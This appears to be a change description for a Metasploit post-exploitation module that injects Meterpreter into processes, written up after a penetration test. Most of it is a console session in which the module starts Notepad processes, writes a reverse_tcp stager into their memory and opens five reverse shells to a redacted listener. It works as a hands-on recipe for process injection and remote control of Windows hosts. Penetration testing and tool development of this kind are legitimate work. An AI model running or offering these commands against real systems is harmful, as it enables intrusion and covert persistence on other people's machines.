Added ability to generate multiple payloads - not just one

Ran into a pentest recently where I had a flaky meterpreter shell, had it launch multiple ones just to be safe. The amount datastore allows you to iterate through and spawn multiple sessions.
```
msf exploit(psexec) > use post/windows/manage/multi_meterpreter_inject 
msf post(multi_meterpreter_inject) > show options

Module options (post/windows/manage/multi_meterpreter_inject):

   Name     Current Setting                  Required  Description
   ----     ---------------                  --------  -----------
   AMOUNT   1                                no        Select the amount of shells you want to spawn.
   HANDLER  false                            no        Start new multi/handler job on local box.
   IPLIST   XXXXXXXXX                        yes       List of semicolom separated IP list.
   LPORT    4444                             no        Port number for the payload LPORT variable.
   PAYLOAD  windows/meterpreter/reverse_tcp  no        Payload to inject in to process memory
   PIDLIST                                   no        List of semicolom separated PID list.
   SESSION                                   yes       The session to run this module on.

msf post(multi_meterpreter_inject) > set AMOUNT 5
AMOUNT => 5
msf post(multi_meterpreter_inject) > set HANDLER true
HANDLER => true
msf post(multi_meterpreter_inject) > set SESSION 1
SESSION => 1
msf post(multi_meterpreter_inject) > exploit

[*] Running module against XXXXXXXXX
[*] Starting connection handler at port 4444 for windows/meterpreter/reverse_tcp
[+] Multi/Handler started!
[*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444
[+] Starting Notepad.exe to house Meterpreter Session.
[+] Process created with pid 5400
[*] Injecting meterpreter into process ID 5400
[*] Allocated memory at address 0x003b0000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected Meterpreter in to process: 5400
[*] Meterpreter session 2 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4991) at 2013-10-09 18:04:02 -0400

[*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444
[+] Starting Notepad.exe to house Meterpreter Session.
[+] Process created with pid 4136
[*] Injecting meterpreter into process ID 4136
[*] Allocated memory at address 0x003b0000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected Meterpreter in to process: 4136
[*] Meterpreter session 3 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4992) at 2013-10-09 18:04:08 -0400
[*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444
[+] Starting Notepad.exe to house Meterpreter Session.
[+] Process created with pid 4108
[*] Injecting meterpreter into process ID 4108
[*] Allocated memory at address 0x003b0000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected Meterpreter in to process: 4108
[*] Meterpreter session 4 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4993) at 2013-10-09 18:04:13 -0400
[*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444
[+] Starting Notepad.exe to house Meterpreter Session.
[+] Process created with pid 5788
[*] Injecting meterpreter into process ID 5788
[*] Allocated memory at address 0x003b0000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected Meterpreter in to process: 5788
[*] Meterpreter session 5 opened (XXXXXXXXX:4444 -> XXXXXXXXX:4994) at 2013-10-09 18:04:19 -0400
[*] Creating a reverse meterpreter stager: LHOST=XXXXXXXXX LPORT=4444
[+] Starting Notepad.exe to house Meterpreter Session.
[+] Process created with pid 1408
[*] Injecting meterpreter into process ID 1408
[*] Allocated memory at address 0x003b0000, for 290 byte stager
[*] Writing the stager into memory...
[+] Successfully injected Meterpreter in to process: 1408
[*] Meterpreter session 6 opened (XXXXXXXXX:4444 -> XXXXXXXXX:1029) at 2013-10-09 18:04:24 -0400
[*] Post module execution completed
msf post(multi_meterpreter_inject) >
```